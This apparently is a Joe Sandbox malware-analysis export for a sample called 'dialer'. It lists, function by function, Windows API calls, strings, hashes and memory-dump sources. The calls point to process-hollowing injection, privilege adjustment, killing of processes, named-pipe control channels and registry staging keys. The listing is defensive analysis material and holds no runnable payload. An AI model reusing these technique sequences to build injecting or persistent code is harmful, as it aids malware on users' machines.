API ID: Process$Heap$AllocEnum$BoundaryChangeCloseDeleteDescriptorFindLanguagesMemoryModulesNotificationOpenPreferredProcessesReadRestoreThread
String ID:
API String ID: 2219672174-0
Opcode ID: 3ba232721d1513b5cedada72c6e24bd118260bd52d62463099d565cdd5ea385d
Instruction ID: 4858e5a3d965c592fcd1f5951e26bd94c88d4916acf90710a0b336d1aa1e032e
Opcode Fuzzy Hash: 3ba232721d1513b5cedada72c6e24bd118260bd52d62463099d565cdd5ea385d
Instruction Fuzzy Hash: E6519DB2711A819AEB66CF63E8587EA22A5F78DBC4F444025EF4947764DF38C545C700

Function 0000000140001F2C Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 124
filememorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCpyW.SHLWAPI ref: 0000000140001F5D
StrCatW.SHLWAPI ref: 0000000140001F6B
GetModuleHandleW.KERNEL32 ref: 0000000140001F74
GetCurrentProcess.KERNEL32 ref: 0000000140001F94
K32GetModuleInformation.KERNEL32 ref: 0000000140001FA8
CreateFileW.KERNELBASE ref: 0000000140001FD8
CreateFileMappingW.KERNELBASE ref: 0000000140002002
MapViewOfFile.KERNELBASE ref: 0000000140002025
lstrcmpi.KERNEL32 ref: 000000014000207B
VirtualProtect.KERNELBASE ref: 00000001400020AE
VirtualProtect.KERNELBASE ref: 00000001400020DE
FindCloseChangeNotification.KERNELBASE ref: 00000001400020E7
CloseHandle.KERNEL32 ref: 00000001400020F0
FreeLibrary.KERNEL32 ref: 00000001400020F9

Strings

.text, xrefs: 0000000140002074
C:\Windows\System32\, xrefs: 0000000140001F4F

Memory Dump Source

Source File: 0000002C.00000002.3586209140.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002C.00000002.3585783468.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3586595451.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3586902461.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_140000000_dialer.jbxd

Similarity

API ID: File$CloseCreateHandleModuleProtectVirtual$ChangeCurrentFindFreeInformationLibraryMappingNotificationProcessViewlstrcmpi
String ID: .text$C:\Windows\System32\
API String ID: 1125510917-832442975
Opcode ID: ea51ffa9aeaeb0e2cf226d8574d2fabd87300f6e212f2c78447215b36c46b769
Instruction ID: 0b364bd3c89a37fdd3fa7b369e4888cbeb1e5b170dc00cf86e963973e9165d3d
Opcode Fuzzy Hash: ea51ffa9aeaeb0e2cf226d8574d2fabd87300f6e212f2c78447215b36c46b769
Instruction Fuzzy Hash: CC518BB2204B8096EB62CF16F8587DAB3A5F78CBD4F444525AF4A03B68DF38C549C700

Function 0000000140002BF8 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 40
sleepfilepipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001B54: AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
Part of subcall function 0000000140001B54: SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
Part of subcall function 0000000140001B54: LocalAlloc.KERNEL32 ref: 0000000140001BFB
Part of subcall function 0000000140001B54: InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
Part of subcall function 0000000140001B54: SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
Part of subcall function 0000000140001B54: CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Sleep.KERNEL32 ref: 0000000140002C1D
ConnectNamedPipe.KERNELBASE ref: 0000000140002C2A
ReadFile.KERNEL32 ref: 0000000140002C4D
WriteFile.KERNEL32 ref: 0000000140002C7B
Sleep.KERNEL32 ref: 0000000140002C88
DisconnectNamedPipe.KERNEL32 ref: 0000000140002C91

Strings

\\.\pipe\dialerchildproc64, xrefs: 0000000140002C05
M, xrefs: 0000000140002C6E

Memory Dump Source

Source File: 0000002C.00000002.3586209140.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002C.00000002.3585783468.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3586595451.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3586902461.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_140000000_dialer.jbxd

Similarity

API ID: NamedPipe$DescriptorFileInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesLocalReadWrite
String ID: M$\\.\pipe\dialerchildproc64
API String ID: 2203880229-3489460547
Opcode ID: cb78decc689e444f168c8ecd1fa7ab696948f8a3ff5b9be1a13ae3c23ba91d6c
Instruction ID: 6dc3dc8c0bd617ca7cbe615ebfcb02ed857a87361961821bc60a1768ee808972
Opcode Fuzzy Hash: cb78decc689e444f168c8ecd1fa7ab696948f8a3ff5b9be1a13ae3c23ba91d6c
Instruction Fuzzy Hash: C01139B1218A8492F716DB22F8047EE6764A78DBE0F444225BB66036F4DF7CC548C700

Function 00000001400021D0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36
sleeppipefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001B54: AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
Part of subcall function 0000000140001B54: SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
Part of subcall function 0000000140001B54: LocalAlloc.KERNEL32 ref: 0000000140001BFB
Part of subcall function 0000000140001B54: InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
Part of subcall function 0000000140001B54: SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
Part of subcall function 0000000140001B54: CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Sleep.KERNEL32 ref: 00000001400021F5
ConnectNamedPipe.KERNELBASE ref: 0000000140002202
ReadFile.KERNEL32 ref: 0000000140002225
Sleep.KERNEL32 ref: 0000000140002246
DisconnectNamedPipe.KERNEL32 ref: 000000014000224F

Strings

\\.\pipe\dialercontrol_redirect64, xrefs: 00000001400021DD

Memory Dump Source

Source File: 0000002C.00000002.3586209140.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002C.00000002.3585783468.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3586595451.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3586902461.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_140000000_dialer.jbxd

Similarity

API ID: NamedPipe$DescriptorInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesFileLocalRead
String ID: \\.\pipe\dialercontrol_redirect64
API String ID: 2071455217-3440882674
Opcode ID: 0eadeefac485689016ee7cb8901f6413b977b23d4cbf2cacf1e5db6f82192be8
Instruction ID: d66e41e89491d3fe39127ed5f8ff24c46c9ecc4af95d447005e5476a51c55f6d
Opcode Fuzzy Hash: 0eadeefac485689016ee7cb8901f6413b977b23d4cbf2cacf1e5db6f82192be8
Instruction Fuzzy Hash: 42014BB1204A40A2EA17EB63F8443E9B365A79DBE0F144235FB66476F4DF78C488C700

Function 0000000140001B54 Relevance: 9.1, APIs: 6, Instructions: 82
memorypipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
LocalAlloc.KERNEL32 ref: 0000000140001BFB
InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Memory Dump Source

Source File: 0000002C.00000002.3586209140.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002C.00000002.3585783468.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3586595451.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3586902461.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_140000000_dialer.jbxd

Similarity

API ID: DescriptorInitializeSecurity$AllocAllocateCreateDaclEntriesLocalNamedPipe
String ID:
API String ID: 3197395349-0
Opcode ID: 488be1c38cf594ed0d3f6a94cbc7f0150440055c9cb1e58666deddfd8d25be8b
Instruction ID: 21eaad2a8fcaa81d39f01622d1c01d05a8059e075f91819b3ade9b41c51f013a
Opcode Fuzzy Hash: 488be1c38cf594ed0d3f6a94cbc7f0150440055c9cb1e58666deddfd8d25be8b
Instruction Fuzzy Hash: FA318D72215691CAE761CF25F490BDE77A5F748B98F40521AFB4947FA8EB78C208CB40

Function 0000000140002B38 Relevance: 9.1, APIs: 6, Instructions: 58
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000000140002B53
HeapAlloc.KERNEL32 ref: 0000000140002B67
GetProcessHeap.KERNEL32 ref: 0000000140002B70
HeapAlloc.KERNEL32 ref: 0000000140002B7E
K32EnumProcesses.KERNEL32 ref: 0000000140002B99
SleepEx.KERNEL32 ref: 0000000140002BEE

Memory Dump Source

Source File: 0000002C.00000002.3586209140.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002C.00000002.3585783468.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3586595451.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3586902461.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_140000000_dialer.jbxd

Similarity

API ID: Heap$AllocProcess$EnumProcessesSleep
String ID:
API String ID: 3676546796-0
Opcode ID: 8f13c2487408d17cabd0d6010e800d760c40d8336c2ba260ca50616313c4bb70
Instruction ID: 9c67988e037e7d22bad9650836966df18df348572cafe7f0e6f30b42da554bff
Opcode Fuzzy Hash: 8f13c2487408d17cabd0d6010e800d760c40d8336c2ba260ca50616313c4bb70
Instruction Fuzzy Hash: 3A115CB26006518AE72ACF17F85579A77A6F78DBC1F154028EB4607B68CF39D881CB40

Function 00000001400017EC Relevance: 9.1, APIs: 6, Instructions: 55
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(?,00000000,?,000000014000238B,?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140001801
RtlAllocateHeap.NTDLL(?,00000000,?,000000014000238B,?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140001812

Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000150B
Part of subcall function 00000001400014D8: HeapAlloc.KERNEL32 ref: 000000014000151E
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000152C
Part of subcall function 00000001400014D8: HeapAlloc.KERNEL32 ref: 000000014000153D
Part of subcall function 00000001400014D8: K32EnumProcesses.KERNEL32 ref: 0000000140001557
Part of subcall function 00000001400014D8: OpenProcess.KERNEL32 ref: 0000000140001585
Part of subcall function 00000001400014D8: K32EnumProcessModules.KERNEL32 ref: 00000001400015AA
Part of subcall function 00000001400014D8: ReadProcessMemory.KERNELBASE ref: 00000001400015E1
Part of subcall function 00000001400014D8: FindCloseChangeNotification.KERNELBASE ref: 000000014000161D
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000162F
Part of subcall function 00000001400014D8: RtlDeleteBoundaryDescriptor.NTDLL ref: 000000014000163D
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 0000000140001643
Part of subcall function 00000001400014D8: RtlRestoreThreadPreferredUILanguages.NTDLL ref: 0000000140001651

OpenProcess.KERNEL32 ref: 0000000140001859
TerminateProcess.KERNELBASE ref: 000000014000186C
CloseHandle.KERNEL32 ref: 0000000140001875
GetProcessHeap.KERNEL32 ref: 0000000140001885

Memory Dump Source

Source File: 0000002C.00000002.3586209140.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002C.00000002.3585783468.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3586595451.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3586902461.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_140000000_dialer.jbxd

Similarity

API ID: Process$Heap$AllocCloseEnumOpen$AllocateBoundaryChangeDeleteDescriptorFindHandleLanguagesMemoryModulesNotificationPreferredProcessesReadRestoreTerminateThread
String ID:
API String ID: 3158079169-0
Opcode ID: 292de27f87d02887c134cd68883e15ba7f6a186f84d3e8f804eb1f1d2b0452f5
Instruction ID: e8e8f15008253283e0d5a10c8ea57e573901c1344bffe788f1ea91b5e390c365
Opcode Fuzzy Hash: 292de27f87d02887c134cd68883e15ba7f6a186f84d3e8f804eb1f1d2b0452f5
Instruction Fuzzy Hash: C8115BB1B05A4186FB1ADF27F8443D966A6ABCDBC4F188038EF09037B5DE38C5868700

Function 00000001400018AC Relevance: 4.5, APIs: 3, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
FindCloseChangeNotification.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

Memory Dump Source

Source File: 0000002C.00000002.3586209140.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002C.00000002.3585783468.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3586595451.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3586902461.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_140000000_dialer.jbxd

Similarity

API ID: Process$ChangeCloseFindNotificationOpenWow64
String ID:
API String ID: 3805842350-0
Opcode ID: 6d646fbe37808f9b584e9cbd293ea6613d1d1a58a609fbda32c726050c0f507a
Instruction ID: a864651f2e5c17a125c4a55b2f5ca9b47fcd1256b8d640ad9fe9232b2a40a049
Opcode Fuzzy Hash: 6d646fbe37808f9b584e9cbd293ea6613d1d1a58a609fbda32c726050c0f507a
Instruction Fuzzy Hash: 77F01D7170578192EB56CF17B584399A665E78CBC0F449039EB8943768DF39C4858700

Function 0000000140002258 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000000014000226C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000228F
Part of subcall function 000000014000226C: OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000229F
Part of subcall function 000000014000226C: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 00000001400022B9
Part of subcall function 000000014000226C: LookupPrivilegeValueW.ADVAPI32 ref: 00000001400022D0
Part of subcall function 000000014000226C: AdjustTokenPrivileges.KERNELBASE ref: 0000000140002308
Part of subcall function 000000014000226C: GetLastError.KERNEL32 ref: 0000000140002312
Part of subcall function 000000014000226C: FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000231B
Part of subcall function 000000014000226C: FindResourceA.KERNEL32 ref: 000000014000232F
Part of subcall function 000000014000226C: SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002346
Part of subcall function 000000014000226C: LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000235F
Part of subcall function 000000014000226C: LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002371
Part of subcall function 000000014000226C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000237E
Part of subcall function 000000014000226C: RegCreateKeyExW.KERNELBASE ref: 00000001400023BE
Part of subcall function 000000014000226C: ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00000001400023E5
Part of subcall function 000000014000226C: RegSetKeySecurity.KERNELBASE ref: 00000001400023FE
Part of subcall function 000000014000226C: LocalFree.KERNEL32 ref: 0000000140002408

ExitProcess.KERNEL32 ref: 0000000140002263

Memory Dump Source

Source File: 0000002C.00000002.3586209140.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002C.00000002.3585783468.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3586595451.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3586902461.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_140000000_dialer.jbxd

Similarity

API ID: Process$Resource$Security$CurrentDescriptorFindOpenToken$AdjustChangeCloseConvertCreateErrorExitFreeLastLoadLocalLockLookupNotificationPrivilegePrivilegesSizeofStringValue
String ID:
API String ID: 2373407002-0
Opcode ID: c7c2c95b7158c919dbdf86fa47620a0d13b0befc2d5611a3b20bc48f104c5c5f
Instruction ID: 542f07df19912b07f19d0c3647b83d0aa38d4f887fbb8c9b09a79fc57a6ac5cd
Opcode Fuzzy Hash: c7c2c95b7158c919dbdf86fa47620a0d13b0befc2d5611a3b20bc48f104c5c5f
Instruction Fuzzy Hash: 84A002B1F1794096FA0BB7F7785E3DC21656B9CB82F500415B242472B2DD3C44558716

Non-executed Functions

Function 0000000140002560 Relevance: 47.5, APIs: 24, Strings: 3, Instructions: 296
memoryregistryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32 ref: 00000001400025E7

Part of subcall function 00000001400018AC: OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
Part of subcall function 00000001400018AC: IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
Part of subcall function 00000001400018AC: FindCloseChangeNotification.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

Part of subcall function 00000001400010C0: OpenProcess.KERNEL32 ref: 000000014000112C
Part of subcall function 00000001400010C0: OpenProcess.KERNEL32 ref: 000000014000114B
Part of subcall function 00000001400010C0: K32GetModuleFileNameExW.KERNEL32 ref: 0000000140001170
Part of subcall function 00000001400010C0: PathFindFileNameW.SHLWAPI ref: 000000014000117E
Part of subcall function 00000001400010C0: lstrlenW.KERNEL32 ref: 000000014000118A
Part of subcall function 00000001400010C0: StrCpyW.SHLWAPI ref: 00000001400011A1
Part of subcall function 00000001400010C0: CloseHandle.KERNEL32 ref: 00000001400011AD
Part of subcall function 00000001400010C0: StrCmpIW.SHLWAPI ref: 00000001400011E2
Part of subcall function 00000001400010C0: NtQueryInformationProcess.NTDLL ref: 0000000140001216
Part of subcall function 00000001400010C0: OpenProcessToken.ADVAPI32 ref: 0000000140001240

RegOpenKeyExW.ADVAPI32 ref: 0000000140002683
RegDeleteValueW.ADVAPI32 ref: 000000014000269B
ExitProcess.KERNEL32 ref: 00000001400026BF
GetProcessHeap.KERNEL32 ref: 00000001400026C6
HeapAlloc.KERNEL32 ref: 00000001400026D9
K32EnumProcesses.KERNEL32 ref: 00000001400026F6
ExitProcess.KERNEL32 ref: 0000000140002796

Strings

SOFTWARE, xrefs: 0000000140002675
dialerstager, xrefs: 0000000140002694
open, xrefs: 0000000140002960

Memory Dump Source

Source File: 0000002C.00000002.3586209140.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002C.00000002.3585783468.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3586595451.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3586902461.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_140000000_dialer.jbxd

Similarity

API ID: Process$Open$File$CloseExitFindHeapName$AllocChangeDeleteEnumHandleInformationModuleNotificationPathProcessesQueryReadTokenValueWow64lstrlen
String ID: SOFTWARE$dialerstager$open
API String ID: 4281403370-3931493855
Opcode ID: 3c799c4d4b717077f969037001029e391788172767dfb7e3a3364a0c1608c947
Instruction ID: ae65b9042581f7dc9e2ee581e3d1b52dcddb088aa692a5b8ad70e1a65f9de3a1
Opcode Fuzzy Hash: 3c799c4d4b717077f969037001029e391788172767dfb7e3a3364a0c1608c947
Instruction Fuzzy Hash: 91D14DB13046818BEB7BDF26B8143E92269F74DBC8F404125BB4A47AB9DE78C605C741

Function 0000000140001C88 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 154
injectionthreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32 ref: 0000000140001D1D
VirtualAllocEx.KERNEL32 ref: 0000000140001D4C
WriteProcessMemory.KERNEL32 ref: 0000000140001D73
WriteProcessMemory.KERNEL32 ref: 0000000140001DB2
VirtualAlloc.KERNEL32 ref: 0000000140001DE3
GetThreadContext.KERNEL32 ref: 0000000140001DFF
WriteProcessMemory.KERNEL32 ref: 0000000140001E26
SetThreadContext.KERNEL32 ref: 0000000140001E44
ResumeThread.KERNEL32 ref: 0000000140001E52
OpenProcess.KERNEL32 ref: 0000000140001E6A
TerminateProcess.KERNEL32 ref: 0000000140001E7D

Strings

@, xrefs: 0000000140001D44

Memory Dump Source

Source File: 0000002C.00000002.3586209140.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002C.00000002.3585783468.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3586595451.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3586902461.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_140000000_dialer.jbxd

Similarity

API ID: Process$MemoryThreadWrite$AllocContextVirtual$CreateOpenResumeTerminate
String ID: @
API String ID: 3462610200-2766056989
Opcode ID: 9e87a73b0eb69cfa39acb8f7a19e25e40ab225c9e7017233cfa86b54780bd9da
Instruction ID: 5c16bc39e07cf5e776479c29415d8ab36f8b64b080a4e80c067f24e51f003d21
Opcode Fuzzy Hash: 9e87a73b0eb69cfa39acb8f7a19e25e40ab225c9e7017233cfa86b54780bd9da
Instruction Fuzzy Hash: B55122B2700A808AEB52CF66E8447DE77A5FB88BD8F054125EF4997B68DF38C855C700

Function 00000001400019C4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 102
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 00000001400019E6
SysAllocString.OLEAUT32 ref: 00000001400019F6
CoInitializeEx.OLE32 ref: 0000000140001A03
CoInitializeSecurity.OLE32 ref: 0000000140001A3A
CoCreateInstance.OLE32 ref: 0000000140001A7A
VariantInit.OLEAUT32 ref: 0000000140001A8C
CoUninitialize.OLE32 ref: 0000000140001B26
SysFreeString.OLEAUT32 ref: 0000000140001B2F
SysFreeString.OLEAUT32 ref: 0000000140001B38

Strings

dialersvc64, xrefs: 00000001400019DD

Memory Dump Source

Source File: 0000002C.00000002.3586209140.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002C.00000002.3585783468.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3586595451.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3586902461.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_140000000_dialer.jbxd

Similarity

API ID: String$AllocFreeInitialize$CreateInitInstanceSecurityUninitializeVariant
String ID: dialersvc64
API String ID: 4184240511-3881820561
Opcode ID: c5773a1fcac1982b1b845e0e6ec66c21fb3e8571a559d525fc626bf24240b323
Instruction ID: f04b9e4fe08d72b668f3c34f73b3c63bb96ebc933f76805d9c48aa5d26f439e8
Opcode Fuzzy Hash: c5773a1fcac1982b1b845e0e6ec66c21fb3e8571a559d525fc626bf24240b323
Instruction Fuzzy Hash: 69415A72704A819AE712CF6AE8543DD73B5FB89B89F044125EF4E47A64DF38D149C300

Function 0000000140001000 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 37registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 0000000140001034
RegDeleteKeyW.ADVAPI32 ref: 0000000140001045
RegEnumKeyExW.ADVAPI32 ref: 0000000140001082
RegCloseKey.ADVAPI32 ref: 0000000140001093
RegDeleteKeyExW.ADVAPI32 ref: 00000001400010B0

Strings

SOFTWARE\dialerconfig, xrefs: 0000000140001026, 000000014000109C

Memory Dump Source

Source File: 0000002C.00000002.3586209140.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002C.00000002.3585783468.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3586595451.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3586902461.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_140000000_dialer.jbxd

Similarity

API ID: Delete$CloseEnumOpen
String ID: SOFTWARE\dialerconfig
API String ID: 3013565938-461861421
Opcode ID: 771b17fd0f1a16041f26a54d46b0ec7916154baef178d5f18a2b3dcc43556395
Instruction ID: 8f4ace04a6ff3505bb025a84b088d585f414f6eddbaae7ea6d4a7c6b6057ac94
Opcode Fuzzy Hash: 771b17fd0f1a16041f26a54d46b0ec7916154baef178d5f18a2b3dcc43556395
Instruction Fuzzy Hash: 2F1186B2714A8486E762CF26F8557E92378F78C7D8F404215A74D0BAA8DF7CC248CB54

Function 0000000140002A90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 0000000140002ACB
WriteFile.KERNEL32 ref: 0000000140002AF3
WriteFile.KERNEL32 ref: 0000000140002B16
CloseHandle.KERNEL32 ref: 0000000140002B1F

Strings

\\.\pipe\dialercontrol_redirect64, xrefs: 0000000140002AA8

Memory Dump Source

Source File: 0000002C.00000002.3586209140.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002C.00000002.3585783468.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3586595451.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3586902461.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_140000000_dialer.jbxd

Similarity

API ID: File$Write$CloseCreateHandle
String ID: \\.\pipe\dialercontrol_redirect64
API String ID: 148219782-3440882674
Opcode ID: 883fb3da148993cb75da2269ecc4fc0d73b62e41bf5aa7103fd26e0bcaccd1b9
Instruction ID: c657f3a7a6ba8077c0f3fca19c98ae9a251d12aa6ce49f65425284bb78429f7a
Opcode Fuzzy Hash: 883fb3da148993cb75da2269ecc4fc0d73b62e41bf5aa7103fd26e0bcaccd1b9
Instruction Fuzzy Hash: AE1139B6720B5082EB16CF16F818399A764F78DFE4F544215AB6907BA4CF78C549CB40

Function 0000000140001914 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,0000000140002138), ref: 0000000140001924
GetProcAddress.KERNEL32(?,?,00000000,0000000140002138), ref: 0000000140001937

Strings

ntdll.dll, xrefs: 000000014000191A

Memory Dump Source

Source File: 0000002C.00000002.3586209140.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002C.00000002.3585783468.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3586595451.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002C.00000002.3586902461.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_140000000_dialer.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: ntdll.dll
API String ID: 1646373207-2227199552
Opcode ID: 91777f2b0607ee1fe6466092eca8f752b6e1633f4feaae27b681225476bf4cba
Instruction ID: 7108e587e86fbdef38877cdd133235ae9a077454219746bc209a409130a8dfa8
